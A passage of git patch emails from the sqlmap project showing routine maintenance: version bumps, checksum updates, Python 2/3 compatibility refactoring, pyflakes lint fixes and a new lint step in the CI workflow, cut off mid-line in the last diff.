lib/core/decor 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 1b03686e1aa916ccad3cd86b8e4e6ea4baca5e30e05bf86a56f8df8dd4f44ba6 lib/core/optiondict.py -4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py +e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/option.py 28e73bcc4159e9d8afb4fc4f6f4f5791a47da042a5e7149cbb18f21d1e0aa43a lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b9b6134a0dcd0b5cfd2a64d838eb0ec681f78e0c5d6ff4c90a478093b93f2a78 lib/core/settings.py +bdcf9fb929ad62f8e9d59f0d0502d208b72b3902c8768125e368b7a89d8d5b68 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -265,7 +265,7 @@ b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dial c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py c442e9ef8324fd6fdf7bc334d765f0a6ce4037397eb3d79d59b5ce3e9a043855 lib/utils/prove.py 2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py -f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf lib/utils/safe2bin.py +e6d8e812c380647590a175528e75c2835fc75dd12f989ef1cceb5c12a5815bd8 lib/utils/safe2bin.py f8b9a876a19543ecb215956f525be6f59109716d0c301b57aa85d57cd2194a21 lib/utils/search.py 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py 2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py diff --git a/lib/core/option.py b/lib/core/option.py index 6644cf08e..332053b13 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2604,6 +2604,7 @@ def _setHttpOptions(): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: from websocket import ABNF + ABNF # require websocket-client, not any 'websocket' module except ImportError: errMsg = "sqlmap requires third-party module 'websocket-client' " errMsg += "in order to use WebSocket functionality" diff --git a/lib/core/settings.py b/lib/core/settings.py index f99f46feb..6d85ac6f9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.167" +VERSION = "1.10.6.168" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index b5a93b4f7..d6004ef7a 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -12,14 +12,16 @@ import sys PY3 = sys.version_info >= (3, 0) -if PY3: +try: + # Py2 + text_type = unicode + string_types = (basestring,) +except NameError: + # Py3 xrange = range text_type = str string_types = (str,) unichr = chr -else: - text_type = unicode - string_types = (basestring,) # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P\\x[0-9A-Fa-f]{2})" From 69ba213db95fa8d8ae53258ca48e07fa2a4901bb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 09:53:05 +0200 Subject: [PATCH 074/165] Minor refactoring --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_convert.py | 7 ++++++- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 79bc078b2..280f673e5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -bdcf9fb929ad62f8e9d59f0d0502d208b72b3902c8768125e368b7a89d8d5b68 lib/core/settings.py +ff871fd0e40ad61d1f8a753851d67518153ad4b5e77b37766937c9e752af5f2b lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -586,7 +586,7 @@ feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_big 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py -678927457c16e5c610be5280d47dcc6f1ff1a56a8acd9feb1d63e091e266b7b3 tests/test_convert.py +75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6d85ac6f9..16dc1922b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.168" +VERSION = "1.10.6.169" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_convert.py b/tests/test_convert.py index 19671a7bf..f33315fae 100644 --- a/tests/test_convert.py +++ b/tests/test_convert.py @@ -24,6 +24,11 @@ from lib.core.convert import (decodeHex, encodeHex, decodeBase64, encodeBase64, jsonize, dejsonize, base64pickle, base64unpickle) from lib.core.common import decodeDbmsHexValue +try: + unichr = unichr +except NameError: + unichr = chr + RND = random.Random(0xC0FFEE) @@ -79,7 +84,7 @@ class TestDecodeDbmsHexValue(unittest.TestCase): class TestByteTextConversion(unittest.TestCase): def test_ascii_roundtrip(self): for _ in range(1000): - s = u"".join(unichr(RND.randint(0x20, 0x7e)) if sys.version_info[0] < 3 else chr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) + s = u"".join(unichr(RND.randint(0x20, 0x7e)) for _ in range(RND.randint(0, 30))) self.assertEqual(getUnicode(getBytes(s)), s) def test_unicode_roundtrip(self): From 333e3e48e519363cdb6d7ee184db9c48cea07a15 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:02:50 +0200 Subject: [PATCH 075/165] Fixing some pyflakes naggings --- data/txt/sha256sums.txt | 6 +++--- lib/core/patch.py | 3 ++- lib/core/readlineng.py | 10 ++++++++-- lib/core/settings.py | 2 +- 4 files changed, 14 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 280f673e5..79954e55b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -183,13 +183,13 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 1b03686e1aa916ccad3cd86b8e4e6ea4baca5e30e05bf86a56f8df8dd4f44ba6 lib/core/optiondict.py e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/option.py -28e73bcc4159e9d8afb4fc4f6f4f5791a47da042a5e7149cbb18f21d1e0aa43a lib/core/patch.py +21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py -03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py +0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ff871fd0e40ad61d1f8a753851d67518153ad4b5e77b37766937c9e752af5f2b lib/core/settings.py +e37e088d210b6ddbd4a1a4ddfbbff632c832980de295e0c2ca4e46c9f0386f8d lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/patch.py b/lib/core/patch.py index ae72028e4..2063ac37a 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -70,7 +70,8 @@ def dirtyPatches(): # add support for inet_pton() on Windows OS if IS_WIN: - from thirdparty.wininetpton import win_inet_pton + from thirdparty.wininetpton.win_inet_pton import inject_into_socket + inject_into_socket() # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 31349171b..b2980adf7 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -7,15 +7,21 @@ See the file 'LICENSE' for copying permission _readline = None try: - from readline import * import readline as _readline except: try: - from pyreadline import * import pyreadline as _readline except: pass +if _readline: + _symbols = getattr(_readline, "__all__", None) + if _symbols is None: + _symbols = (name for name in dir(_readline) if not name.startswith("_")) + + for _symbol in _symbols: + globals()[_symbol] = getattr(_readline, _symbol) + from lib.core.data import logger from lib.core.settings import IS_WIN from lib.core.settings import PLATFORM diff --git a/lib/core/settings.py b/lib/core/settings.py index 16dc1922b..ef90e02b7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.169" +VERSION = "1.10.6.170" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9daeab2d5af0a4c5ae33ef1fb4525becbe9f5963 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:06:44 +0200 Subject: [PATCH 076/165] Removing last pyflakes nagging cause --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_openapi_drift.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 79954e55b..a627ead8f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -e37e088d210b6ddbd4a1a4ddfbbff632c832980de295e0c2ca4e46c9f0386f8d lib/core/settings.py +07de0d223b07e47ac4c5adcaff260226dffadaa6dc14d55ae156ec8b7c118a64 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -606,7 +606,7 @@ d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_ide 13d0369f3fea7262f7944999f559da38e5284cbc76660fd7aeffedad78e65f5f tests/test_ldap.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py -57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py +88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py diff --git a/lib/core/settings.py b/lib/core/settings.py index ef90e02b7..c69a78cf7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.170" +VERSION = "1.10.6.171" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_openapi_drift.py b/tests/test_openapi_drift.py index b38fd16eb..1ed84c2b8 100644 --- a/tests/test_openapi_drift.py +++ b/tests/test_openapi_drift.py @@ -26,7 +26,7 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from _testutils import bootstrap bootstrap() -import lib.utils.api # noqa: F401 (importing registers every route on Bottle's default app) +__import__("lib.utils.api") # registers Bottle routes (side-effect import) from lib.core.settings import RESTAPI_VERSION from thirdparty.bottle.bottle import default_app From c7a9185bcf6641a105a9616c0d8d9561cefa3be4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:12:51 +0200 Subject: [PATCH 077/165] Adding pyflakes into CI/CD pipeline --- .github/workflows/tests.yml | 7 +++++++ data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 18afa00b4..06162356b 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -37,6 +37,13 @@ jobs: - name: Python sanity run: python -VV + - name: Pyflakes lint + run: | + python -m pip install pyflakes + OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/')) + if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi + echo "pyflakes: clean" + - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a627ead8f..d153d2637 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -07de0d223b07e47ac4c5adcaff260226dffadaa6dc14d55ae156ec8b7c118a64 lib/core/settings.py +7afc5f26c211df306365aee39caaa7852c6f5be50b72319f2225f83d0b8daeb4 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c69a78cf7..77d8209a9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.171" +VERSION = "1.10.6.172" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 692c4bc42fd7bf26c91f1390fa6c1e1b14a02c44 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:14:06 +0200 Subject: [PATCH 078/165] Fixing CI/CD failure --- .github/workflows/tests.yml | 1 + data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 06162356b..3f8cbc096 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -38,6 +38,7 @@ jobs: run: python -VV - name: Pyflakes lint + shell: bash run: | python -m pip install pyflakes OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/')) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d153d2637..5a594fdd7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7afc5f26c211df306365aee39caaa7852c6f5be50b72319f2225f83d0b8daeb4 lib/core/settings.py +b0101b7404dfc402cc67169796bf97c72b2b58dc35b2a0d5ded56d6ca27bd76c lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 77d8209a9..f82191384 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.172" +VERSION = "1.10.6.173" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 149bdd836b3c715bfa16f2f264d13474387ccdb7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:18:56 +0200 Subject: [PATCH 079/165] Fixing CI/CD failure --- .github/workflows/tests.yml | 3 +-- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 3f8cbc096..40bf6e6ae 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,8 +41,7 @@ jobs: shell: bash run: | python -m pip install pyflakes - OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/')) - if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi + python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') echo "pyflakes: clean" - name: Basic import test diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5a594fdd7..5ab436f66 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -b0101b7404dfc402cc67169796bf97c72b2b58dc35b2a0d5ded56d6ca27bd76c lib/core/settings.py +88cc7cdbc758f78a486f205f0245a6465bf6be74f77fbb476350bf50221bc357 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f82191384..0f271de34 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.173" +VERSION = "1.10.6.174" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 02ae09e15461ce88e672c33180037d20c5a9c421 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:24:46 +0200 Subject: [PATCH 080/165] Minor update --- .github/workflows/tests.yml | 3 ++- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 8 ++++++-- 4 files changed, 11 insertions(+), 6 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 40bf6e6ae..4a338fcd0 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,8 @@ jobs: shell: bash run: | python -m pip install pyflakes - python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') + OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') | grep -v ' redefines ') + if [ -n "$OUT" ]; then echo "$OUT"; exit 1; fi echo "pyflakes: clean" - name: Basic import test diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5ab436f66..5c317f377 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -88cc7cdbc758f78a486f205f0245a6465bf6be74f77fbb476350bf50221bc357 lib/core/settings.py +6390db71c97ace5815b499d63ac08d22c8a97a1b6c5a1a610635a5e6e0af6740 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -504,7 +504,7 @@ cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generi 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf -f8974aac701639b54ca34b0e11803c836e5cb1e1c5a6eaf275315949b6487310 sqlmap.py +41fa63d55909cf00a0bb02e979c4f2c0ad7df4b32a89374150772b247fa96fc2 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py a9785a4c111d6fee2e6d26466ba5efb3b229c00520b26e8024b041553b53efba tamper/apostrophemask.py cf26bc8006519bd25ce06d347f72770cd75b61575cf65e5812274e8ab9392eb4 tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0f271de34..f036781c0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.174" +VERSION = "1.10.6.175" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 199875656..3667ca270 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -32,14 +32,18 @@ try: import traceback import warnings + try: + ResourceWarning + except NameError: + ResourceWarning = Warning + if "--deprecations" not in sys.argv: warnings.filterwarnings(action="ignore", category=DeprecationWarning) else: warnings.resetwarnings() warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) warnings.simplefilter("ignore", category=ImportWarning) - if sys.version_info >= (3, 0): - warnings.simplefilter("ignore", category=ResourceWarning) + warnings.simplefilter("ignore", category=ResourceWarning) warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) From 3809161b0e0e6934e9ea10dfd8001cb1f0bbc2c9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 28 Jun 2026 10:26:34 +0200 Subject: [PATCH 081/165] Minor update --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 4a338fcd0..fb89c420e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -41,7 +41,7 @@ jobs: shell: bash run: | python -m pip install pyflakes - OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') | grep -v ' redefines ') + OUT=$(python -m pyflakes $(git ls-files '*.py' | grep -v '^thirdparty/') 2>&1 | grep -v ' redefines ') if [ -n "$OUT" 